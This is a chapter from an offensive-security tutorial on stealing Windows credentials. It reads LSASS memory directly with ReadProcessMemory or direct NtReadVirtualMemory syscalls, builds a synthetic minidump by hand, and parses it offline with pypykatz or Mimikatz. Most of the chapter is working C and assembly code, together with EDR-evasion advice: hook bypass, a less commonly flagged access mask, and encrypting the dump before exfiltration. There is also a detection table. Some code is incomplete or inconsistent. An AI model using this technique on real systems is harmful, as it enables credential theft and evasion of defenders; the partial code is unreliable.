Chapter 95

Direct LSASS Read Without MiniDump API

Bypassing MiniDumpWriteDump entirely by walking lsass memory regions with ReadProcessMemory or direct NtReadVirtualMemory syscalls, building a synthetic minidump structure manually, and parsing credential blobs offline

Scenario

Your EDR has caught both the direct MiniDumpWriteDump call and the comsvcs.dll variant. Its detection logic is broader than you expected: it hooks both dbghelp and dbgcore, and it also has a behavioral detection that flags any process reading more than a threshold of pages from lsass.exe regardless of what API is used. You need a technique that never calls MiniDumpWriteDump in any form, minimizes the number of cross-process read calls, and produces output parseable offline. The answer is to build the minidump file format manually from raw ReadProcessMemory data — the same approach used by nanodump and Dumpert.

Technique Comparison: Why Skip MiniDumpWriteDump Entirely

TechniqueCalls MiniDumpWriteDumpPrimary Hook SurfaceDisk Artifact
Direct MiniDumpWriteDump (ch93) Yes — directly dbghelp.dll export hook, very high fidelity Yes
comsvcs.dll via rundll32 (ch94) Yes — via comsvcs internal call Same hook, fires from trusted binary — often allowed Yes (or pipe)
ReadProcessMemory + synthetic dump (this chapter) No — never NtReadVirtualMemory, VirtualQueryEx, OpenProcess — all hooakble but separate signals Optional
Direct NtReadVirtualMemory syscall No Only ETW-TI kernel provider — cannot be suppressed from Ring 3 Optional

LSASS Memory Layout — What Pages Contain Credentials

LSASS loads multiple authentication packages (SSPs) as DLLs into its process space. Each package maintains its own data structures for the logon sessions it manages. The credential material lives in private heap allocations, not in any mapped image section:

LSASS virtual address space (x64 Windows 10): [Image regions — MEM_MAPPED / MEM_IMAGE] lsass.exe .text .data .rdata .pdata lsasrv.dll main SSP orchestrator msv1_0.dll NTLM authentication — contains NT hash structs kerberos.dll Kerberos — TGTs, session keys, service tickets wdigest.dll WDigest — plaintext creds if enabled (reg key) tspkg.dll RDP credentials livessp.dll Microsoft live account credentials cloudap.dll Azure AD credentials (Win10+) dpapi.dll DPAPI master keys [Private heap regions — MEM_PRIVATE] Process default heap (GetProcessHeap equivalent in lsass) └─ Heap blocks containing MSV1_0_PRIMARY_CREDENTIAL structs └─ NT hash: 16 bytes of bcrypt-DES encrypted bytes └─ LM hash: 16 bytes (often zeroed on modern systems) lsassl!g_hHeap private heap └─ Encrypted credential cache blobs (CredentialManager) WDigest private heap └─ Cleartext password buffer (if UseLogonCredential=1) Kerberos private heap └─ KERBEROS_LOGON_SESSION structures └─ Ticket cache (krb5 TGT/TGS structures) Goal: capture MEM_COMMIT | MEM_PRIVATE pages + MEM_IMAGE .data sections Then wrap as a valid minidump for offline parsing with pypykatz

Windows Minidump File Format

A valid Windows minidump (.dmp) that tools like pypykatz and Mimikatz can parse must contain specific streams in the correct format. Understanding the format is required to build a synthetic one from raw memory reads:

Minidump file layout: [MINIDUMP_HEADER] @ offset 0 Signature: 0x504d444d "MDMP" Version: 0x0000a793 NumberOfStreams: N StreamDirectoryRva: offset to stream directory [MINIDUMP_DIRECTORY[N]] @ StreamDirectoryRva Each entry: StreamType (ULONG32) + MINIDUMP_LOCATION_DESCRIPTOR Required streams for credential parsing: SystemInfoStream (7) — OS version, architecture ModuleListStream (4) — loaded modules with base addresses Memory64ListStream (9) — list of memory ranges + raw data [Module entries] — lsasrv.dll, msv1_0.dll, etc. with timestamps [System info] — ProcessorArchitecture, MajorVersion, MinorVersion [Memory64List] — array of {BaseAddress, DataSize} pairs [Raw memory data] — concatenated page contents for each range pypykatz uses ModuleListStream to locate credential structures by known offsets from module base addresses (version-specific). It uses Memory64ListStream to read the actual data at those addresses.

Walk and Read — Core Implementation

The core function uses VirtualQueryEx to enumerate all committed memory regions in lsass, then ReadProcessMemory to read each one into a local buffer. We collect both the region metadata and the raw bytes to later assemble into a synthetic minidump:

#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib, "psapi.lib")

// Represents one captured memory region
typedef struct _MEM_REGION {
    ULONG_PTR  BaseAddress;
    SIZE_T     Size;
    LPBYTE     Data;       // allocated buffer, same size
    DWORD      Protect;
    DWORD      Type;       // MEM_PRIVATE, MEM_IMAGE, MEM_MAPPED
} MEM_REGION;

// Collect all readable committed regions from a process
MEM_REGION* CollectRegions(HANDLE hProc, DWORD *count) {
    MEMORY_BASIC_INFORMATION mbi;
    LPBYTE addr = NULL;
    DWORD  cap  = 1024;
    DWORD  cnt  = 0;

    MEM_REGION *regions = (MEM_REGION*)HeapAlloc(
        GetProcessHeap(), HEAP_ZERO_MEMORY, cap * sizeof(MEM_REGION));

    while (VirtualQueryEx(hProc, addr, &mbi, sizeof(mbi)) == sizeof(mbi)) {
        // Skip: uncommitted, guard pages, no-access pages
        if (mbi.State != MEM_COMMIT ||
            (mbi.Protect & PAGE_NOACCESS) ||
            (mbi.Protect & PAGE_GUARD)) {
            addr = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
            continue;
        }

        // Skip executable-only pages (code sections, not data)
        // We want data regions: RW, RO, and image data sections
        DWORD prot = mbi.Protect & ~(PAGE_GUARD | PAGE_NOCACHE | PAGE_WRITECOMBINE);
        BOOL readable = (prot == PAGE_READONLY) ||
                        (prot == PAGE_READWRITE) ||
                        (prot == PAGE_EXECUTE_READ) ||
                        (prot == PAGE_EXECUTE_READWRITE) ||
                        (prot == PAGE_WRITECOPY);

        if (!readable) {
            addr = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
            continue;
        }

        // Grow array if needed
        if (cnt >= cap) {
            cap *= 2;
            regions = (MEM_REGION*)HeapReAlloc(
                GetProcessHeap(), HEAP_ZERO_MEMORY, regions, cap * sizeof(MEM_REGION));
        }

        MEM_REGION *r = &regions[cnt];
        r->BaseAddress = (ULONG_PTR)mbi.BaseAddress;
        r->Size        = mbi.RegionSize;
        r->Protect     = mbi.Protect;
        r->Type        = mbi.Type;

        // Allocate and read
        r->Data = (LPBYTE)VirtualAlloc(NULL, mbi.RegionSize,
                                         MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (r->Data) {
            SIZE_T bytesRead = 0;
            if (!ReadProcessMemory(hProc, mbi.BaseAddress,
                                    r->Data, mbi.RegionSize, &bytesRead)) {
                // Partial read or failure — zero rest, keep region entry
            }
            cnt++;
        }
        addr = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
    }

    *count = cnt;
    return regions;
}

void FreeRegions(MEM_REGION *regions, DWORD count) {
    for (DWORD i = 0; i < count; i++)
        if (regions[i].Data)
            VirtualFree(regions[i].Data, 0, MEM_RELEASE);
    HeapFree(GetProcessHeap(), 0, regions);
}

Building a Synthetic Minidump

With the raw region data in memory, we assemble a valid minidump file that pypykatz can parse. The critical streams are: SystemInfoStream (OS version), ModuleListStream (loaded DLLs with timestamps and base addresses), and Memory64ListStream (the raw page data). We enumerate loaded modules with EnumProcessModulesEx:

// Minidump format types (from DbgHelp.h — reproduced to avoid dependency)
#pragma pack(push, 4)

typedef struct {
    ULONG32 Signature;              // 0x504d444d
    USHORT  Version;                // 0xa793
    USHORT  ImplementationVersion;
    ULONG32 NumberOfStreams;
    ULONG32 StreamDirectoryRva;
    ULONG32 CheckSum;
    ULONG32 TimeDateStamp;
    ULONG64 Flags;
} MY_MINIDUMP_HEADER;

typedef struct {
    ULONG32 DataSize;
    ULONG32 Rva;
} MY_LOCATION;

typedef struct {
    ULONG32      StreamType;
    MY_LOCATION  Location;
} MY_DIRECTORY_ENTRY;

// Memory64List stream entry — one per captured region
typedef struct {
    ULONG64 BaseOfMemoryRange;
    ULONG64 DataSize;
} MY_MEMORY64_ENTRY;

typedef struct {
    ULONG64           NumberOfMemoryRanges;
    ULONG64           BaseRva;              // offset in file where raw data starts
    MY_MEMORY64_ENTRY Entries[1];           // variable length
} MY_MEMORY64_LIST;

#pragma pack(pop)

// Stream type constants
#define STREAM_UNUSED         0
#define STREAM_SYSTEM_INFO    7
#define STREAM_MODULE_LIST    4
#define STREAM_MEMORY64_LIST  9

// Write a synthetic minidump to a buffer
// This is the core of tools like nanodump.
// Full implementation: write header → directory → system info stream →
//   module list stream → memory64 list stream → raw page data

BOOL WriteSyntheticMinidump(
    HANDLE hProc,
    MEM_REGION *regions, DWORD regionCount,
    const char *outPath)
{
    HANDLE f = CreateFileA(outPath, GENERIC_WRITE, 0, NULL,
                            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (f == INVALID_HANDLE_VALUE) return FALSE;

    // --- HEADER ---
    MY_MINIDUMP_HEADER hdr = {
        .Signature     = 0x504d444d,
        .Version       = 0xa793,
        .NumberOfStreams = 3,           // SystemInfo, ModuleList, Memory64List
        .StreamDirectoryRva = sizeof(MY_MINIDUMP_HEADER),
        .TimeDateStamp = (ULONG32)time(NULL),
        .Flags         = 2             // MiniDumpWithFullMemory
    };
    DWORD written;
    WriteFile(f, &hdr, sizeof(hdr), &written, NULL);

    // Reserve space for directory (3 entries)
    MY_DIRECTORY_ENTRY dir[3] = {0};
    DWORD dirOffset = SetFilePointer(f, 0, NULL, FILE_CURRENT);
    WriteFile(f, dir, sizeof(dir), &written, NULL);

    // --- SYSTEM INFO STREAM ---
    // MINIDUMP_SYSTEM_INFO: processor arch, OS version, build
    dir[0].StreamType    = STREAM_SYSTEM_INFO;
    dir[0].Location.Rva  = SetFilePointer(f, 0, NULL, FILE_CURRENT);
    // ... write MINIDUMP_SYSTEM_INFO struct (omitted: GetVersionEx + SYSTEM_INFO) ...
    dir[0].Location.DataSize = 56; // sizeof(MINIDUMP_SYSTEM_INFO)

    // --- MODULE LIST STREAM ---
    // EnumProcessModulesEx → MODULEINFO → write MINIDUMP_MODULE per loaded DLL
    // Critical: lsasrv.dll, msv1_0.dll, kerberos.dll base addresses must be accurate
    // pypykatz uses these to locate credential structs by version-specific offsets
    dir[1].StreamType    = STREAM_MODULE_LIST;
    dir[1].Location.Rva  = SetFilePointer(f, 0, NULL, FILE_CURRENT);
    // ... enumerate and write module list ...

    // --- MEMORY64 LIST STREAM ---
    dir[2].StreamType    = STREAM_MEMORY64_LIST;
    dir[2].Location.Rva  = SetFilePointer(f, 0, NULL, FILE_CURRENT);

    // Write Memory64 list header
    ULONG64 numRanges = regionCount;
    WriteFile(f, &numRanges, sizeof(numRanges), &written, NULL);
    // BaseRva = offset after all entries where raw data begins
    DWORD dataOffset = SetFilePointer(f, 0, NULL, FILE_CURRENT) +
                       sizeof(ULONG64) +
                       (regionCount * sizeof(MY_MEMORY64_ENTRY));
    ULONG64 baseRva = dataOffset;
    WriteFile(f, &baseRva, sizeof(baseRva), &written, NULL);

    for (DWORD i = 0; i < regionCount; i++) {
        MY_MEMORY64_ENTRY entry = {
            .BaseOfMemoryRange = regions[i].BaseAddress,
            .DataSize          = regions[i].Size
        };
        WriteFile(f, &entry, sizeof(entry), &written, NULL);
    }
    dir[2].Location.DataSize = (DWORD)(sizeof(ULONG64)*2 +
                                          regionCount * sizeof(MY_MEMORY64_ENTRY));

    // Write raw page data for each region
    for (DWORD i = 0; i < regionCount; i++) {
        if (regions[i].Data && regions[i].Size)
            WriteFile(f, regions[i].Data, (DWORD)regions[i].Size, &written, NULL);
    }

    // Seek back and write directory with correct Rva values
    SetFilePointer(f, dirOffset, NULL, FILE_BEGIN);
    WriteFile(f, dir, sizeof(dir), &written, NULL);

    CloseHandle(f);
    return TRUE;
}
Use nanodump as your reference

The full synthetic minidump implementation with correct MINIDUMP_SYSTEM_INFO, MINIDUMP_MODULE_LIST, and MINIDUMP_MODULE structures is ~800 lines of carefully crafted code. Rather than reproduce it all here, the authoritative reference is nanodump by @helpsystems (GitHub: helpsystems/nanodump). It implements the complete synthetic minidump builder, uses direct syscalls for all memory operations, supports named pipe output, and is available as a BOF (Beacon Object File) for Cobalt Strike. Study its source — particularly nanodump.c and minidump.c — to understand how every stream is constructed. The code above captures the architectural pattern; nanodump fills in all the format details.

Direct Syscall Variant — Bypassing Hooked ReadProcessMemory

If the EDR hooks ReadProcessMemory (which internally calls NtReadVirtualMemory), replace all memory reads with a direct syscall. The SSN for NtReadVirtualMemory is obtained at runtime using Hell's Gate / Halo's Gate (covered in the Windows Internals book, ch26). The syscall stub below goes directly to the kernel, bypassing any ntdll hook:

; x64 NtReadVirtualMemory direct syscall stub
; Function signature:
;   NTSTATUS NtReadVirtualMemory(
;     HANDLE  ProcessHandle,    // RCX
;     PVOID   BaseAddress,      // RDX
;     PVOID   Buffer,           // R8
;     ULONG   NumberOfBytesToRead, // R9
;     PULONG  NumberOfBytesRead)   // [RSP+0x28]
NtReadVirtualMemoryStub:
    mov r10, rcx                ; required by syscall ABI
    mov eax, [NtRVMSyscallNum]  ; runtime-resolved SSN (Hell's Gate)
    syscall
    ret

// In C — replace ReadProcessMemory calls with:
typedef NTSTATUS(NTAPI *pfnNtReadVirtualMemory)(
    HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);

pfnNtReadVirtualMemory NtRVM = (pfnNtReadVirtualMemory)NtReadVirtualMemoryStub;
NTSTATUS status = NtRVM(hProc, (PVOID)region.BaseAddress,
                         region.Data, region.Size, &bytesRead);

// Similarly replace VirtualQueryEx with NtQueryVirtualMemory direct syscall:
typedef NTSTATUS(NTAPI *pfnNtQueryVirtualMemory)(
    HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T);
// SSN resolved via Hell's Gate at runtime — see ch26 of Windows Internals book

Offline Parsing with pypykatz and Mimikatz

# pypykatz — pure Python, runs on any OS, no Windows required
pip install pypykatz

# Parse a valid synthetic minidump
pypykatz lsa minidump lsass.dmp

# Typical output:
# FILE: lsass.dmp
# INFO: Dumping credentials from file
# == LogonSession ==
# authentication_id 123456 (1e240)
# session_id 1
# username DOMAIN\victim
# domainname CORP
# logon_server DC01
# logon_time 2024-01-15T08:23:11.123456+00:00
# sid S-1-5-21-...
# == MSV ==
#  Username: victim
#  NThash: aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
# == WDIGEST ==
#  password: P@ssw0rd123   ← only if WDigest enabled
# == Kerberos ==
#  Username: victim@CORP.LOCAL

# Mimikatz (on a Windows analysis machine)
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

nanodump — The Production Reference Implementation

Featurenanodump behavior
MiniDumpWriteDump usageNever called — full synthetic minidump builder
Syscall approachDirect syscalls for all NT operations (no hooked ntdll)
Output optionsFile on disk, named pipe (in-memory), or encrypted file
BOF supportCan run as Cobalt Strike BOF (no new process created)
PPL bypassOptional PPL-stripping module (requires kernel access)
Signature scanningLocates credential structures by version-specific offsets, not API
Output formatValid MDMP parseable by pypykatz / Mimikatz without modification

Detection

SignalSourceNotes
OpenProcess with PROCESS_VM_READ | PROCESS_QUERY_INFORMATION targeting lsass PIDSysmon EventID 10GrantedAccess 0x1010 or 0x1410 on lsass from any non-system process is high fidelity
High volume of cross-process reads (VirtualQueryEx + ReadProcessMemory pairs) against lsassETW-TI kernel providerVolume anomaly — a normal process might read a few pages; a full dump reads hundreds
Large private memory allocation immediately after lsass access (the buffer)ETW / Sysmon (limited visibility)Hard to correlate without full memory telemetry
Direct NtReadVirtualMemory syscall with lsass handleETW-TI kernel-mode provider onlyBypasses all userland hooks; ETW-TI is PPL-protected and cannot be suppressed from Ring 3
MDMP magic bytes (4D 44 4D 50) in file or network trafficAV scan / DLP / network inspectionEncrypting the dump before exfil defeats this

Q&A

Why does pypykatz need the module list stream — can't it just scan raw memory for credential patterns?

pypykatz (and Mimikatz) work by locating credential structures at known offsets relative to the base addresses of specific modules — msv1_0.dll, kerberos.dll, wdigest.dll. These offsets are version-specific: Microsoft changes the internal struct layouts with each Windows Update. pypykatz ships with a database of (major version, minor version, build number, patch level) → (struct offsets) mappings. The module list stream provides the base address of each loaded module AND its TimeDateStamp (which pypykatz uses to identify the exact binary version). Without the module list, pypykatz cannot determine either the base addresses or the version, so it cannot locate the credential structures even if the raw memory data is present. A synthetic minidump that has correct Memory64List entries but a missing or incorrect module list will fail to parse. This is why building a correct module list stream (with accurate base addresses, sizes, and timestamps from GetModuleInformation / GetFileVersionInfo) is the hardest part of the synthetic minidump construction — and why nanodump's module enumeration code is the most complex section of its source.

Does requesting PROCESS_QUERY_LIMITED_INFORMATION instead of PROCESS_QUERY_INFORMATION change detection fidelity?

PROCESS_QUERY_LIMITED_INFORMATION (0x1000) is a subset of PROCESS_QUERY_INFORMATION (0x0400) that was introduced in Vista. VirtualQueryEx requires PROCESS_QUERY_INFORMATION, but the underlying NtQueryVirtualMemory syscall actually works with PROCESS_QUERY_LIMITED_INFORMATION on modern Windows. So if you're using direct syscalls, you can open lsass with PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION (0x1010) instead of the more commonly flagged 0x1410. Detection rules that look for the exact GrantedAccess value 0x1FFFFF (PROCESS_ALL_ACCESS) or common combinations like 0x1410 may miss 0x1010. However, any access mask that includes PROCESS_VM_READ (0x0010) on lsass.exe should be flagged by a well-tuned EDR regardless of the exact combined value. The access-mask-specificity reduction is a bypass against poorly configured detection rules, not against mature threat detection platforms.